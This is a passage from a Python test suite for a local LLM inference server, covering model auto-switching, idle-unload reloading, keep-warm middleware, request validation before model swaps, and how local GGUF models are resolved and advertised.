enabled = False, resolves_to = None, backend = backend, recorder = rec) + monkeypatch.setattr(settings, "get_auto_unload_idle_seconds", lambda: 0) + monkeypatch.setattr(kw, "_inflight", 0) + monkeypatch.setattr(kw, "_last_unloaded_model", ("/cache/snap/A", "Q4_K_M", "org/A-GGUF")) + _run_hook("org/B-GGUF") + assert rec.calls == [] + + +def test_stash_reload_skipped_while_unsloth_model_active(monkeypatch): + # An Unsloth/Transformers model loaded after an idle-unload leaves the GGUF slot + # empty but is the live model; an unknown /v1 name must NOT resurrect the stale + # GGUF stash (that reload would tear the active Unsloth model down). + from types import SimpleNamespace + from core.inference import llama_keepwarm as kw + + backend = _FakeBackend(None) # GGUF slot empty + rec = _LoadRecorder(backend) + _wire(monkeypatch, enabled = True, resolves_to = None, backend = backend, recorder = rec) + monkeypatch.setattr(kw, "_inflight", 0) + monkeypatch.setattr(kw, "_last_unloaded_model", ("/cache/snap/A", "Q4_K_M", "org/A-GGUF")) + # An Unsloth model is the live backend. + monkeypatch.setattr( + inference_route, + "get_inference_backend", + lambda: SimpleNamespace(active_model_name = "unsloth/Qwen3-8B"), + ) + _run_hook("gpt-4o-mini") + assert rec.calls == [] # stale GGUF not reloaded over the active Unsloth model + + +def test_is_abs_path_id_distinguishes_path_from_repo_id(): + assert resolver._is_abs_path_id("/abs/path/model.gguf") is True + assert resolver._is_abs_path_id("org/Repo-GGUF") is False + assert resolver._is_abs_path_id("Repo") is False + + +def test_advertised_loader_id_prefers_alias_over_abs_path(): + # C1: the ./models and LM Studio scanners report the on-disk path as info.id. + from types import SimpleNamespace + + f = resolver._advertised_loader_id + # An absolute-path id falls back to the first non-path alias. + assert ( + f(SimpleNamespace(id = "/home/me/models/x", model_id = "org/X-GGUF", display_name = "X")) + == "org/X-GGUF" + ) + # No alias available: strip the path to a public id so a host path is never advertised. + assert ( + f( + SimpleNamespace( + id = "/home/me/models/Qwen3-8B-Q4_K_M.gguf", model_id = None, display_name = None + ) + ) + == "Qwen3-8B-Q4_K_M" + ) + # A normal repo id is advertised as-is. + assert ( + f(SimpleNamespace(id = "org/X-GGUF", model_id = "org/X-GGUF", display_name = "X")) == "org/X-GGUF" + ) + + +def test_index_advertises_alias_not_filesystem_path(tmp_path, monkeypatch): + # C1 end-to-end: a scanner that reports the path as the id must not advertise the + # host path in /v1/models, yet the model stays resolvable by that path too. + from types import SimpleNamespace + import routes.models as models_route + + gguf = tmp_path / "model-Q4_K_M.gguf" + gguf.write_bytes(b"x" * 32) + info = SimpleNamespace( + id = str(gguf), # scanner uses the on-disk path as the id + path = str(gguf), + model_id = "org/Repo-GGUF", + display_name = "Repo", + ) + monkeypatch.setattr(models_route, "_scan_models_dir", lambda *a, **k: [info]) + monkeypatch.setattr(models_route, "_scan_hf_cache", lambda *a, **k: []) + monkeypatch.setattr(models_route, "_resolve_hf_cache_dir", lambda: tmp_path) + monkeypatch.setattr(models_route, "_is_hidden_model", lambda *a, **k: False) + resolver._scan = (0.0, {}) + + # The advertised id is the alias, never the absolute path. + advertised = sorted({entry.loader_id for entry in resolver._index().values()}) + assert advertised == ["org/Repo-GGUF"] + # But the model is still resolvable by its on-disk path (an indexed alias). + resolver._scan = (0.0, {}) + assert resolver.resolve_local_gguf(str(gguf)) is not None + + +def test_build_index_survives_a_failing_scanner(tmp_path, monkeypatch): + # gemini: one bad scanner (e.g. a permission error on ./models) must drop only + # that source, not abort the whole index and lose what the others found. + from types import SimpleNamespace + import routes.models as models_route + import utils.paths as paths + + def _boom(*a, **k): + raise OSError("permission denied") + + lm_info = SimpleNamespace( + id = "org/Repo-GGUF", path = "/lm/Repo", model_id = "org/Repo-GGUF", display_name = "Repo" + ) + monkeypatch.setattr(models_route, "_scan_models_dir", _boom) # ./models blows up + monkeypatch.setattr(models_route, "_scan_hf_cache", lambda *a, **k: []) + monkeypatch.setattr(models_route, "_resolve_hf_cache_dir", lambda: tmp_path) + monkeypatch.setattr(models_route, "_is_hidden_model", lambda *a, **k: False) + monkeypatch.setattr(models_route, "_scan_lmstudio_dir", lambda *a, **k: [lm_info]) + monkeypatch.setattr(paths, "legacy_hf_cache_dir", lambda: None) + monkeypatch.setattr(paths, "hf_default_cache_dir", lambda: None) + monkeypatch.setattr(paths, "lmstudio_model_dirs", lambda: [tmp_path]) + # The on-disk GGUF check is covered elsewhere; here a found info becomes an entry. + monkeypatch.setattr( + resolver, + "_local_gguf_entry", + lambda loader_id, info: resolver._LocalGgufEntry(loader_id, "/lm/Repo", ()), + ) + resolver._scan = (0.0, {}) + index = resolver._build_index() + assert any(e.loader_id == "org/Repo-GGUF" for e in index.values()) + + +def test_info_has_local_gguf_reads_files_not_model_format(tmp_path): + # Codex: HF-cache GGUF snapshots leave model_format unset, so /v1/models must + # decide GGUF-ness from the on-disk files. A standalone .gguf (no model_format) + # is servable; a safetensors-only dir is not. + from types import SimpleNamespace + + gguf = tmp_path / "model-Q4_K_M.gguf" + gguf.write_bytes(b"x" * 32) + assert resolver.info_has_local_gguf(SimpleNamespace(id = str(gguf), path = str(gguf))) is True + + st = tmp_path / "safetensors_model" + st.mkdir() + (st / "model.safetensors").write_bytes(b"x" * 32) + assert resolver.info_has_local_gguf(SimpleNamespace(id = str(st), path = str(st))) is False + + +def test_info_has_local_gguf_excludes_ollama_links(tmp_path): + # Codex P2: Ollama entries come from a scanner _build_index skips, so their + # advertised ids never resolve; the catalog must not report them as servable. + from types import SimpleNamespace + + links = tmp_path / ".studio_links" + links.mkdir() + ollama_gguf = links / "model-Q4_K_M.gguf" + ollama_gguf.write_bytes(b"x" * 32) + assert ( + resolver.info_has_local_gguf(SimpleNamespace(id = "ollama/foo:latest", path = str(ollama_gguf))) + is False + ) + # The same GGUF outside an ollama-link dir is still servable. + plain = tmp_path / "model-Q4_K_M.gguf" + plain.write_bytes(b"x" * 32) + assert resolver.info_has_local_gguf(SimpleNamespace(id = str(plain), path = str(plain))) is True + + +def test_embeddings_input_present_helper(): + f = inference_route._embeddings_input_present + assert f({"input": "hi"}) is True + assert f({"input": ["a", "b"]}) is True + assert f({"input": [1, 2, 3]}) is True + assert f({}) is False + assert f({"input": ""}) is False + assert f({"input": []}) is False + + +def test_embeddings_rejects_missing_input_before_switch(monkeypatch): + # C2: with auto-switch on, an embeddings request carrying no input must 400 + # before the hook, so an invalid request never swaps the resident model. + from fastapi import HTTPException + + backend = _FakeBackend("org/A-GGUF") # loaded + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + with pytest.raises(HTTPException) as exc: + asyncio.run( + inference_route.openai_embeddings(_json_body_request({"model": "org/B-GGUF"}), "tester") + ) + assert exc.value.status_code == 400 + assert rec.calls == [] # no model switch happened + + +def test_retrieve_model_tolerates_non_string_id(monkeypatch): + # G2: a model object with a non-string id (defensive) must be skipped rather + # than crashing the .lower() compare; a valid id is still found, unknown 404s. + from fastapi import HTTPException + + async def _objs(): + return [{"id": 123, "object": "model"}, {"id": "org/B-GGUF", "object": "model"}] + + monkeypatch.setattr(inference_route, "_openai_model_objects", lambda: []) # nothing loaded + monkeypatch.setattr(inference_route, "_openai_catalog_objects", _objs) + obj = asyncio.run(inference_route.openai_retrieve_model("org/B-GGUF", "tester")) + assert obj["id"] == "org/B-GGUF" + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.openai_retrieve_model("123", "tester")) + assert exc.value.status_code == 404 + + +def test_retrieve_model_resolves_raw_path_to_advertised_id(monkeypatch): + # Codex P2: a client caching the legacy absolute .gguf path must still retrieve + # a loaded auto-switch model. Its /v1/models entry is keyed by the advertised + # repo id (identifier = snapshot path), so the raw-path fallback must map the raw + # id to that advertised id, not public_model_id(path), or a loaded model 404s. + from types import SimpleNamespace + + raw_path = "/cache/models--org--B-GGUF/snapshots/abc/model.gguf" + llama = SimpleNamespace( + is_loaded = True, model_identifier = raw_path, _openai_advertised_id = "org/B-GGUF" + ) + infer = SimpleNamespace(active_model_name = None) + monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: llama) + monkeypatch.setattr(inference_route, "get_inference_backend", lambda: infer) + monkeypatch.setattr( + inference_route, + "_openai_model_objects", + lambda: [{"id": "org/B-GGUF", "object": "model"}], + ) + + async def _empty(): + return [] + + monkeypatch.setattr(inference_route, "_openai_catalog_objects", _empty) + obj = asyncio.run(inference_route.openai_retrieve_model(raw_path, "tester")) + assert obj["id"] == "org/B-GGUF" and obj["loaded"] is True + + +def test_chat_streaming_n_gt_1_rejected_before_switch(monkeypatch): + # Codex P2: only the non-streaming GGUF path returns multiple choices, so + # stream=true + n>1 is invalid on every local serving path. Both fields are + # known pre-switch, so it must 400 before the switch rather than loading model B. + from fastapi import HTTPException + + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + payload = _chat_request(model = "org/B-GGUF", stream = True, n = 2) + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.openai_chat_completions(payload, object(), "tester")) + assert exc.value.status_code == 400 + assert rec.calls == [] + + +def test_resolver_cache_stamped_after_slow_build(monkeypatch): + # Codex P2: the cache must be stamped AFTER _build_index. A scan slower than the + # TTL would otherwise store an already-expired cache and rebuild every request. + import core.inference.local_model_resolver as r + + clock = {"t": 1000.0} + monkeypatch.setattr(r.time, "monotonic", lambda: clock["t"]) + calls = {"n": 0} + + def _slow_build(): + calls["n"] += 1 + clock["t"] += r._CACHE_TTL_S + 10.0 # the scan itself outlasts the TTL + return {} + + monkeypatch.setattr(r, "_build_index", _slow_build) + r._scan = (0.0, {}) + r._index() # builds once, stamps post-scan + r._index() # immediately after: must reuse the cache, not rebuild + assert calls["n"] == 1 + + +def test_keepwarm_does_not_stamp_activity_on_401(monkeypatch): + # Codex P2: the keep-warm middleware runs before auth, so a 401 must decrement + # the in-flight count without stamping activity, or unauthenticated probes would + # keep the model warm and block idle-unload. + import core.inference.llama_keepwarm as kw + + monkeypatch.setattr(kw, "_inflight", 0) + monkeypatch.setattr(kw, "_pending", 0) + monkeypatch.setattr(kw, "_last_active", 100.0) + + async def _recv(): + return {"type": "http.request"} + + async def _run(status_code): + async def _app(scope, receive, send): + await send({"type": "http.response.start", "status": status_code, "headers": []}) + await send({"type": "http.response.body", "body": b"x", "more_body": False}) + + sent = [] + + async def _send(m): + sent.append(m) + + mw = kw.LlamaKeepWarmMiddleware(_app) + await mw({"type": "http", "method": "POST", "path": "/v1/chat/completions"}, _recv, _send) + + asyncio.run(_run(401)) + assert kw._inflight == 0 # balanced (start then untracked end) + assert kw._last_active == 100.0 # activity NOT stamped for an auth failure + # A served (200) request still stamps activity. + asyncio.run(_run(200)) + assert kw._inflight == 0 + assert kw._last_active != 100.0 + + +# ── 10-reviewer round: automatic-load validation asymmetry, audio, preview, idle timer ── + + +def _stash(monkeypatch, *, idle = 600): + """Common setup for the standalone-idle reload paths: feature off, idle TTL on, + an idle-freed model in the stash, nothing loaded, no in-flight requests.""" + from core.inference import llama_keepwarm as kw + + monkeypatch.setattr(settings, "get_auto_unload_idle_seconds", lambda: idle) + monkeypatch.setattr(kw, "_inflight", 0) + monkeypatch.setattr(kw, "_last_unloaded_model", ("/cache/snap/A", "Q4_K_M", "org/A-GGUF")) + + +def test_completions_prompt_present_helper(): + f = inference_route._completions_prompt_present + assert f({"prompt": "hi"}) is True + assert f({"prompt": ["a", "b"]}) is True + assert f({}) is False + assert f({"prompt": ""}) is False + assert f({"prompt": []}) is False + + +def test_completions_rejects_missing_prompt_before_switch(monkeypatch): + # #1: /v1/completions had no prompt pre-check, so a malformed request naming a + # different downloaded GGUF loaded it before failing. Now it 400s first. + from fastapi import HTTPException + + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + with pytest.raises(HTTPException) as exc: + asyncio.run( + inference_route.openai_completions( + _json_body_request({"model": "org/B-GGUF"}), "tester" + ) + ) + assert exc.value.status_code == 400 + assert rec.calls == [] # no switch before rejection + + +def test_chat_system_only_rejected_before_idle_reload(monkeypatch): + # #4: the chat pre-load guard only checked auto-switch; a standalone idle TTL + # could still reload a system-only chat before the 400. Now it 400s first. + from fastapi import HTTPException + from models.inference import ChatCompletionRequest + + backend = _FakeBackend(None) + rec = _LoadRecorder(backend) + _wire(monkeypatch, enabled = False, resolves_to = None, backend = backend, recorder = rec) + _stash(monkeypatch) + payload = ChatCompletionRequest(model = "x", messages = [{"role": "system", "content": "sys"}]) + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.openai_chat_completions(payload, object(), "tester")) + assert exc.value.status_code == 400 + assert rec.calls == [] # no reload before rejection + + +def test_embeddings_missing_input_rejected_before_idle_reload(monkeypatch): + # #5: same gap on /v1/embeddings; the missing-input 400 must fire under a + # standalone idle TTL too, not only when auto-switch is on. + from fastapi import HTTPException + + backend = _FakeBackend(None) + rec = _LoadRecorder(backend) + _wire(monkeypatch, enabled = False, resolves_to = None, backend = backend, recorder = rec) + _stash(monkeypatch) + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.openai_embeddings(_json_body_request({"model": "x"}), "tester")) + assert exc.value.status_code == 400 + assert rec.calls == [] # no reload before rejection + + +def test_messages_does_not_503_before_reload_hook_when_idle_on(monkeypatch): + # #3: /v1/messages 503'd before the reload hook when auto-switch was off, so a + # standalone idle TTL could never restore the freed model. The early 503 now + # defers to any automatic-load trigger, so the reload hook runs. + backend = _FakeBackend(None) + rec = _LoadRecorder(backend) + _wire(monkeypatch, enabled = False, resolves_to = None, backend = backend, recorder = rec) + _stash(monkeypatch) + # The handler proceeds past the hook to real generation (no llama-server here), + # so tolerate the downstream failure; the reload having run is the assertion. + try: + asyncio.run( + inference_route.anthropic_messages( + _anthropic_payload(max_tokens = 16), object(), "tester" + ) + ) + except Exception: + pass + assert len(rec.calls) == 1 + assert rec.calls[0].model_path == "/cache/snap/A" + + +def test_messages_503_gated_on_automatic_load_predicate(): + # Lock the #3 fix at the source: the early 503 must check the shared predicate. + import inspect + src = inspect.getsource(inference_route.anthropic_messages) + assert "_automatic_model_load_may_run" in src + + +def test_raw_body_without_model_reloads_freed_model(monkeypatch): + # #6: a raw completions/embeddings body that omits `model` passed None, which + # skipped the idle-stash reload and 503'd. A non-empty sentinel now lets the + # reload run while still resolving as unknown. + backend = _FakeBackend(None) + rec = _LoadRecorder(backend) + _wire(monkeypatch, enabled = False, resolves_to = None, backend = backend, recorder = rec) + _stash(monkeypatch) + body = asyncio.run( + inference_route._auto_switch_from_request_body( + _json_body_request({"prompt": "hi"}), "tester" + ) + ) + assert body == {"prompt": "hi"} + assert len(rec.calls) == 1 + assert rec.calls[0].model_path == "/cache/snap/A" + assert rec.calls[0].gguf_variant == "Q4_K_M" + + +def test_audio_generate_reloads_idle_freed_model(monkeypatch): + # #2: /audio/generate is keep-warm-tracked but had no reload hook, so an + # idle-freed audio GGUF stayed unloaded. The hook now restores it. + from models.inference import ChatCompletionRequest + + backend = _FakeBackend(None) + rec = _LoadRecorder(backend) + _wire(monkeypatch, enabled = False, resolves_to = None, backend = backend, recorder = rec) + _stash(monkeypatch) + payload = ChatCompletionRequest(model = "x", messages = [{"role": "user", "content": "say hi"}]) + # Falls through to the non-audio backend path (no real model) after the reload; + # tolerate that downstream failure, the reload having run is the assertion. + try: + asyncio.run(inference_route.generate_audio(payload, object(), "tester")) + except Exception: + pass + assert len(rec.calls) == 1 + assert rec.calls[0].model_path == "/cache/snap/A" + + +def test_audio_generate_does_not_reload_on_invalid_request(monkeypatch): + # The audio reload hook must run after message validation, so an empty request + # never triggers a reload. + from fastapi import HTTPException + from models.inference import ChatCompletionRequest + + backend = _FakeBackend(None) + rec = _LoadRecorder(backend) + _wire(monkeypatch, enabled = False, resolves_to = None, backend = backend, recorder = rec) + _stash(monkeypatch) + payload = ChatCompletionRequest(model = "x", messages = []) + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.generate_audio(payload, object(), "tester")) + assert exc.value.status_code == 400 + assert rec.calls == [] + + +def test_preview_scope_disables_auto_switch(monkeypatch): + # #7: the public preview route delegates to the chat handler; a caller-supplied + # model must not switch away from the pinned checkpoint. The scope opt-out flag + # makes the hook a no-op. + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + + class _Req: + def __init__(self): + self.scope = {} + + req = _Req() + inference_route.disable_openai_auto_switch_for_request(req.scope) + asyncio.run(inference_route._maybe_auto_switch_model("org/B-GGUF", req, "tester")) + assert rec.calls == [] # preview opt-out suppressed the switch + + # Control: a fresh request without the flag would switch. + req2 = _Req() + asyncio.run(inference_route._maybe_auto_switch_model("org/B-GGUF", req2, "tester")) + assert len(rec.calls) == 1 + + +def test_preview_chat_is_tracked_as_inference_path(): + # #8: long preview streams use the same backend; the keep-warm middleware must + # count them so the idle loop can't unload mid-response. + from core.inference.llama_keepwarm import _is_inference_path + + assert _is_inference_path("/p/my-run/v1/chat/completions") is True + assert _is_inference_path("/p/my-run/ckpt-100/v1/chat/completions") is True + assert _is_inference_path("/p/my-run/v1/models") is False + + +def test_untrack_does_not_reset_idle_timer(): + # #9: external-provider traffic was keeping the local GGUF warm forever because + # untrack stamped _last_active. It must decrement in-flight without restamping. + import time + from core.inference import llama_keepwarm as kw + + kw._inflight = 1 + kw._last_active = time.monotonic() - 3600 + before = kw._last_active + scope = {"type": "http"} + kw.untrack_current_request(scope) + assert kw._inflight == 0 + assert kw._last_active == before # idle timer not reset by an untracked request + kw._inflight = 0 + + +def test_note_start_does_not_reset_idle_timer(): + # The start stamp was removed so an external request that is later untracked + # cannot reset the timer at start either; in-flight count still protects it. + import time + from core.inference import llama_keepwarm as kw + + kw._inflight = 0 + kw._pending = 0 + kw._last_active = time.monotonic() - 3600 + before = kw._last_active + kw._note_start() + try: + assert kw._inflight == 1 + assert kw._last_active == before # start no longer stamps activity + assert kw._is_idle(1.0) is False # but in-flight still blocks unload + finally: + kw._note_end() # restores _last_active stamp on completion + + +# ── codex review (merge round): reload-only sentinel, Anthropic tool validation ── + + +def test_omitted_model_does_not_resolve_to_a_named_gguf(monkeypatch): + # Codex P2: a raw-body request that omits `model` must never run the resolver, + # so a downloaded GGUF literally named "default" can't be switched to. The + # resolver here would switch to B if it ran; it must not. + backend = _FakeBackend("org/A-GGUF") # a model is already loaded + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + body = asyncio.run( + inference_route._auto_switch_from_request_body( + _json_body_request({"prompt": "hi"}), "tester" + ) + ) + assert body == {"prompt": "hi"} + assert rec.calls == [] # resolver skipped (would have switched to B otherwise) + + +def test_omitted_model_still_reloads_idle_freed_model(monkeypatch): + # The reload-only sentinel must still restore an idle-freed model (the round-9 + # behavior), it just never runs the resolver. + from core.inference import llama_keepwarm as kw + + backend = _FakeBackend(None) # idle-unload emptied the slot + rec = _LoadRecorder(backend) + _wire(monkeypatch, enabled = False, resolves_to = None, backend = backend, recorder = rec) + monkeypatch.setattr(settings, "get_auto_unload_idle_seconds", lambda: 600) + monkeypatch.setattr(kw, "_inflight", 0) + monkeypatch.setattr(kw, "_last_unloaded_model", ("/cache/snap/A", "Q4_K_M", "org/A-GGUF")) + asyncio.run( + inference_route._auto_switch_from_request_body( + _json_body_request({"prompt": "hi"}), "tester" + ) + ) + assert len(rec.calls) == 1 + assert rec.calls[0].model_path == "/cache/snap/A" + + +def _anthropic_payload_with_tools(tools, max_tokens = 16): + from models.inference import AnthropicMessagesRequest, AnthropicMessage + return AnthropicMessagesRequest( + model = "org/B-GGUF", + max_tokens = max_tokens, + messages = [AnthropicMessage(role = "user", content = "hi")], + tools = tools, + ) + + +def test_anthropic_invalid_tool_rejected_before_switch(monkeypatch): + # Codex P2: a malformed client tool (no input_schema, no server-tool type) must + # 400 before the auto-switch hook, so an invalid request never evicts the model. + from fastapi import HTTPException + + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + payload = _anthropic_payload_with_tools([{"name": "broken"}]) # missing input_schema + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.anthropic_messages(payload, object(), "tester")) + assert exc.value.status_code == 400 + assert rec.calls == [] # rejected before the model load + + +def test_anthropic_validates_tools_before_auto_switch(): + # Lock the order at the source: tool-shape validation precedes the hook, for + # both /messages and /messages/count_tokens (shared helper). + import inspect + for fn in (inference_route.anthropic_messages, inference_route.anthropic_count_tokens): + src = inspect.getsource(fn) + assert src.index("_validate_anthropic_client_tools") < src.index("_maybe_auto_switch_model") + + +def test_anthropic_mixed_tools_rejected_before_switch(monkeypatch): + # Codex P2: combining an Anthropic server tool (type) with a custom client tool + # (input_schema) is unsupported and must 400 before the switch, so the request + # can't evict the loaded model only to be rejected after the load. + from fastapi import HTTPException + + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + payload = _anthropic_payload_with_tools( + [ + {"type": "web_search_20250305"}, # server tool + {"name": "my_func", "input_schema": {"type": "object"}}, # client tool + ] + ) + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.anthropic_messages(payload, object(), "tester")) + assert exc.value.status_code == 400 + assert rec.calls == [] # rejected before the model load + + +# ── codex review (round 2): schema-default model, Responses tool validation ── + + +def _chat_msg(text = "hi"): + from models.inference import ChatMessage + return ChatMessage(role = "user", content = text) + + +def _responses_payload(*, tools = None, set_model = True): + from models.inference import ResponsesRequest + + kwargs = dict(input = "hi") + if set_model: + kwargs["model"] = "org/B-GGUF" + if tools is not None: + kwargs["tools"] = tools + return ResponsesRequest(**kwargs) + + +def test_switch_model_for_payload_only_switches_when_explicit(): + # Codex P2: an omitted `model` (pydantic fills "default") must be reload-only; + # an explicitly set model -- including a literal "default" -- is honored. + from models.inference import ChatCompletionRequest + + omitted = ChatCompletionRequest(messages = [_chat_msg()]) + assert inference_route._switch_model_for_payload(omitted) == inference_route._RELOAD_ONLY_MODEL + explicit_default = ChatCompletionRequest(model = "default", messages = [_chat_msg()]) + assert inference_route._switch_model_for_payload(explicit_default) == "default" + explicit = ChatCompletionRequest(model = "org/B-GGUF", messages = [_chat_msg()]) + assert inference_route._switch_model_for_payload(explicit) == "org/B-GGUF" + + +def test_omitted_schema_model_skips_resolver(monkeypatch): + # End to end: a schema request omitting `model` must not run the resolver, so a + # GGUF named "default" is never swapped to; an explicit model still switches. + from models.inference import ChatCompletionRequest + + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("org/B-GGUF", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + omitted = ChatCompletionRequest(messages = [_chat_msg()]) + asyncio.run( + inference_route._maybe_auto_switch_model( + inference_route._switch_model_for_payload(omitted), object(), "tester" + ) + ) + assert rec.calls == [] # resolver skipped + explicit = ChatCompletionRequest(model = "org/B-GGUF", messages = [_chat_msg()]) + asyncio.run( + inference_route._maybe_auto_switch_model( + inference_route._switch_model_for_payload(explicit), object(), "tester" + ) + ) + assert len(rec.calls) == 1 # explicit model still switches + + +def test_build_chat_request_propagates_omitted_model(): + # _build_chat_request must not turn an omitted Responses model into an explicit + # "default", or the non-streaming chat re-check would switch on it. + omitted = _responses_payload(set_model = False) + chat_req = inference_route._build_chat_request(omitted, [_chat_msg()], stream = False) + assert "model" not in chat_req.model_fields_set + explicit = _responses_payload(set_model = True) + chat_req2 = inference_route._build_chat_request(explicit, [_chat_msg()], stream = False) + assert "model" in chat_req2.model_fields_set + + +def test_responses_invalid_function_tool_rejected_before_switch(monkeypatch): + # Codex P2: a malformed function tool (no name) must 400 before the hook, so an + # invalid /v1/responses request never switches or evicts the loaded model. + from fastapi import HTTPException + + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("org/B-GGUF", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + payload = _responses_payload(tools = [{"type": "function", "parameters": {}}]) + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.openai_responses(payload, object(), "tester")) + assert exc.value.status_code == 400 + assert rec.calls == [] # rejected before the model load + + +def test_responses_valid_and_builtin_tools_pass_validation(monkeypatch): + # A well-formed function tool and a built-in (non-function) tool must pass the + # pre-switch check. Stub the hook so the test stops right after validation. + class _Reached(Exception): + pass + + async def _boom(*a, **k): + raise _Reached() + + monkeypatch.setattr(inference_route, "_maybe_auto_switch_model", _boom) + payload = _responses_payload( + tools = [{"type": "function", "name": "ok", "parameters": {}}, {"type": "web_search"}] + ) + with pytest.raises(_Reached): + asyncio.run(inference_route.openai_responses(payload, object(), "tester")) + + +def test_responses_validates_tools_before_auto_switch(): + # Lock the order at the source: tool validation precedes the switch hook. + import inspect + src = inspect.getsource(inference_route.openai_responses) + assert src.index("each function tool must have a 'name'") < src.index( + "_maybe_auto_switch_model" + ) + + +def test_responses_forcing_tool_choice_without_name_rejected_before_switch(monkeypatch): + # Codex P2: a forcing-function tool_choice with no name (Responses shape + # {"type": "function"}) must 400 before the switch, so the streaming path can't + # forward a bad choice and an invalid request can't evict the model. + from fastapi import HTTPException + from models.inference import ResponsesRequest + + async def _boom(*a, **k): + raise AssertionError("must not switch on an invalid tool_choice") + + monkeypatch.setattr(inference_route, "_maybe_auto_switch_model", _boom) + payload = ResponsesRequest(model = "org/B-GGUF", input = "hi", tool_choice = {"type": "function"}) + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.openai_responses(payload, object(), "tester")) + assert exc.value.status_code == 400 + # A named forcing choice is accepted (reaches the switch, which is mocked to raise). + ok = ResponsesRequest( + model = "org/B-GGUF", input = "hi", tool_choice = {"type": "function", "name": "f"} + ) + with pytest.raises(AssertionError): + asyncio.run(inference_route.openai_responses(ok, object(), "tester")) + + +# ── codex review (round 3): process-wide swap gate across event loops ── + + +def test_swap_acquires_process_gate_before_load(): + # Lock in the structure: the process-wide gate is acquired before the load and + # always released, so a cross-loop swap can't reach _load_model_impl unguarded. + import inspect + + src = inspect.getsource(inference_route._maybe_auto_switch_model) + assert src.index("_acquire_swap_gate") < src.index("_load_model_impl") + assert "_auto_switch_process_lock.release()" in src + + +# ── codex review (round 4): validate modality + tool-confirmation before switch ── + + +def _chat_request(**kw): + from models.inference import ChatCompletionRequest, ChatMessage + kw.setdefault("messages", [ChatMessage(role = "user", content = "hi")]) + return ChatCompletionRequest(**kw) + + +def test_chat_confirm_without_stream_rejected_before_switch(monkeypatch): + # Codex P2: confirm_tool_calls=true + stream=false + local tools is an invalid + # shape; it must 400 before the switch hook so it can't evict the resident model. + from fastapi import HTTPException + + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("org/B-GGUF", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + payload = _chat_request( + model = "org/B-GGUF", enable_tools = True, confirm_tool_calls = True, stream = False + ) + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.openai_chat_completions(payload, object(), "tester")) + assert exc.value.status_code == 400 + assert rec.calls == [] + + +def test_chat_confirm_with_bypass_permissions_reaches_hook(monkeypatch): + # bypass_permissions suppresses the confirm gate, so the pre-check must not fire; + # the request should reach the switch hook (stubbed here to a sentinel). + class _Reached(Exception): + pass + + async def _boom(*a, **k): + raise _Reached() + + monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: True) + monkeypatch.setattr(inference_route, "_maybe_auto_switch_model", _boom) + payload = _chat_request( + model = "org/B-GGUF", + enable_tools = True, + confirm_tool_calls = True, + stream = False, + bypass_permissions = True, + ) + with pytest.raises(_Reached): + asyncio.run(inference_route.openai_chat_completions(payload, object(), "tester")) + + +def test_chat_audio_input_guards_target_before_switch(monkeypatch): + # Codex P2: a chat request carrying audio_base64 must guard the target before the + # switch -- audio rides the same companion mmproj as vision -- so a text-only + # target can't be loaded and evict the working audio model. Assert the handler + # flags require_vision so the hook's multimodal probe runs. + class _Reached(Exception): + pass + + captured = {} + + async def _capture( + model, + request, + subject, + *, + require_vision = False, + ): + captured["require_vision"] = require_vision + raise _Reached() + + monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: True) + monkeypatch.setattr(inference_route, "_maybe_auto_switch_model", _capture) + payload = _chat_request(model = "org/B-GGUF", audio_base64 = "AAAA") + with pytest.raises(_Reached): + asyncio.run(inference_route.openai_chat_completions(payload, object(), "tester")) + assert captured["require_vision"] is True + + +def test_completions_rejects_object_prompt_before_switch(monkeypatch): + # Codex P2: an object prompt like {"prompt": {}} is a deterministic client error + # (only a string or array is valid). It must 400 before the switch so a bad shape + # can't load the named GGUF only to be rejected by llama-server after eviction. + from fastapi import HTTPException + + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + with pytest.raises(HTTPException) as exc: + asyncio.run( + inference_route.openai_completions( + 